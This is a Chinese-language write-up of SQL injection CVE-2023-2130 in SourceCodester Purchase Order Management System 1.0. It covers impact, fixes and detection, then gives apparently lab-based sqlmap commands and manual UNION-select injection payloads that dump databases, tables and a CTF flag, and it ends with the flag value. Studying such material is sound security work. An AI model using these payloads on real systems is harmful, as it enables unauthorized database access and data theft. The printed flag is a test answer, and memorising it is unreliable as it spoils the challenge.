目录
- CVE-2023-2130
- 漏洞利用
- 漏洞检测
- 防御措施
- 靶标介绍:
- 解法一:
- 解法二:
CVE-2023-2130
漏洞详细信息
- 漏洞编号:CVE-2023-2130
- 漏洞名称:SQL注入漏洞
- 受影响的版本:SourceCodester采购订单管理系统1.0
- 影响范围:/admin/suppliers/view_details.php文件中的id参数
- 漏洞类型:SQL注入
- 攻击途径:远程
- 攻击复杂度:低
漏洞影响
由于该系统在未对输入的id参数进行有效验证和过滤,攻击者可以利用此漏洞通过向id参数注入SQL语句来操控数据库。这种操作可能导致:
- 敏感数据泄露:攻击者可以读取数据库中的敏感数据,包括用户、供应商等信息。
- 数据篡改:攻击者可能插入、删除或更新数据库中的数据。
- 权限提升:如果系统中存在管理用户的表或字段,攻击者可能会利用漏洞提升权限。
- 进一步攻击:在极端情况下,可能进一步导致远程代码执行等安全隐患。
漏洞利用
攻击者可以通过在id参数中插入SQL查询,如下所示:
http://example.com/admin/suppliers/view_details.php?id=1' OR '1'='1
这种方式可能导致数据库执行附加的SQL语句,并返回大量未授权的信息。
漏洞修复
为了防止SQL注入漏洞,可以采取以下措施:
- 参数化查询:使用PDO或MySQLi等库来实现参数化查询,从根本上防止SQL注入。
- 输入验证和过滤:对用户输入的参数进行严格的验证,确保只允许数字格式的id参数通过。
- 使用ORM框架:考虑使用对象关系映射(ORM)框架来处理数据库交互,减少手动拼接SQL语句的机会。
- 最小化权限:将数据库账户权限设置为最低,避免拥有不必要的增删改权限。
漏洞检测
可以通过以下步骤检测该系统是否存在该漏洞:
- 使用带有SQL语句的id参数访问目标URL,观察是否返回异常的数据库信息或报错页面。
- 利用SQL注入测试工具(如sqlmap)来进行检测,以自动化方式检查是否存在SQL注入漏洞。
示例检测命令:
sqlmap -u "http://example.com/admin/suppliers/view_details.php?id=1" --dbs
防御措施
- WAF(Web应用防火墙):通过WAF来拦截潜在的SQL注入攻击请求。
- 日志审计:定期检查服务器和应用日志,发现异常请求或潜在的SQL注入尝试。
总结:SQL注入漏洞是常见的安全风险,尤其在处理用户输入时应格外谨慎,采用适当的防护措施可有效降低系统被攻击的风险。及时修复漏洞并部署防护措施对于保障系统安全至关重要。
靶标介绍:
在SourceCodester采购订单管理系统1.0中发现了一项被分类为关键的漏洞。受影响的是组件GET参数处理器的文件/admin/suppliers/view_details.php中的一个未知函数。对参数id的操纵导致了SQL注入。可以远程发起攻击。
解法一:
sqlmap
第一步:
python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch -dbs
第二步:
python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch -D purchase_order_db --tables
第三步:
python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch --batch -D purchase_order_db -T fllllaaaag -dump
解法二:
手工注入
查询注入字符的字段数
1' order by 8--+
字段为8的时候是有回显的
测试回显位置
1' and 1=2 union select 1,2,3,4,5,6,7,8--+
23456是有回显的
查询当前数据库、当前用户、数据库版本
1' and 1=2 union select 1,2,3,database(),user(),version(),7,8--+
查询数据库中的所有表
1' AND 1=2 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--+
查看fllllaaaag表
1' AND 1=2 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8 FROM information_schema.columns WHERE table_name='fllllaaaag'--+
查看flag
1' AND 1=2 UNION SELECT 1,2,group_concat(flag),4,5,6,7,8 FROM fllllaaaag--+
flag{a494e737-c3f8-4fe7-9c85-0a38d1a16c5e}